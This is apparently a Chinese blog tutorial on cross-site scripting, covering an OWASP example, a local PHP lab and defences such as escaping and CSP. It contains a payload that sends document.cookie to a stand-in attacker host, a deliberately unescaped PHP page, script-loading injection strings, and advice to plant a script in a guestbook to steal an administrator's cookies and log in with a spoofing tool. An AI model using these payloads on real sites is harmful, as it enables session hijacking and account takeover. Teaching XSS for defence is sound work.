【OWASP TOP 10】TOP3-跨站脚本 详解与进攻实验

33

描述

XSS在Web应用中最常见的安全漏洞。当应用包含用户提供的数据像浏览器发送但没有适当的确认和分离这些内容时会发生XSS漏洞。但中常见的XSS漏洞

  • 存储
  • 映射
  • 基于DOM的XSS攻击
    通过测试或代码分析能相当简单地发现XSS漏洞。

危害

攻击者能在受害者浏览器上执行脚本来劫持用户会话、丑化网站、潜入恶意文本、重定向用户、通过恶意软件劫持用户的浏览器,等等。


简单漏洞例子

应用程序在下面HTML代码段的构造中使用未经验证或转义的不可信的数据:

1
(String) page += "<input name='creditcard' type='TEXT‘ value='" + request.getParameter("CC")+ "'>";

攻击者在浏览器中修改“CC” 参数为如下值:

1
'><script>document.location='http://www.attacker.com/cgi-bin/cookie.cgi? foo='+document.cookie</script>'.

这导致受害者的会话ID被发送到攻击者的网站,使得攻击者能够劫持用户当前会话。


初次进攻实验

首先我们现在本地搭建个PHP环境(可以使用phpstudy安装包安装),然后在index.php文件里写入如下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>XSS原理重现</title>
</head>
<body>
<form action="" method="get">
<input type="text" name="xss_input">
<input type="submit">
</form>
<hr>
<?php
$xss = $_GET['xss_input'];
echo '你输入的字符为<br>'.$xss;
?>
</body>
</html>

然后,你会在页面看到这样的页面

2

我们试着输入abcd123,得到的结果为

3

我们在看看源代码

4

我们输入的字符串被原封不动的输出来了,那这里我们提出来一个假设,假设我们在搜索框输入<script>alert('xss')</script>会出现什么呢?如果按照上面的例子来说,它应该存在第12行的<br>与</boby>之间,变成<br><script>alert('xss')</script></boby>,那应该会弹出对话框。

既然假设提出来,那我们来实现下这个假设成不成立吧。

我们输入<script>alert('xss')</script>,得到的页面为

5

成功弹窗,这个时候基本上就可以确定存在xss漏洞。

我们在看看源代码

6

成功的写入了,我们以后就可以插入js代码了,你可以这样

<script scr="js_url"></script>

也可以这样

<img src=x onerror=appendChild(createElement('script')).src='js_url' />

各种姿势,各种插,只要能运行我们的js就OK。那运行我们的js有什么用呢?

Js可以干很多的事,可以获取cookies(对http-only没用)、控制用户的动作(发帖、私信什么的)等等。

比如我们在网站的留言区输入<script scr="js_url"></script>当管理员进后台浏览留言的时候,就会触发,然后管理员的cookies和后台地址还有管理员浏览器版本等等你都可以获取到了,再用“桂林老兵cookie欺骗工具”来更改你的cookies,就可以不用输入账号 密码验证码 就可以以管理员的方式来进行登录了。


防守方案

  • 为了避免 Server XSS,最好的办法是根据数据将要置于的HTML上下文(包括 主体、属性、JavaScript、CSS或URL)对所有的不可信 数据进行恰当的转(escape)。
  • 为了避免Client XSS,首选方案是避免将不受信任的数据传递给可生成活动内容JavaScript和其他浏览器API。 当无法避免这种情况时,类似的敏感转义技术可以应用于浏览器API,如基于OWASP DOM based XSS PreventionCheat Sheet 。
  • 考虑使用内容安全策略(CSP)来抵御整个网站的跨 站脚本攻击。

参考来源

  • OWASP Top 10-2013 on Insecure Dir Object References
  • i春秋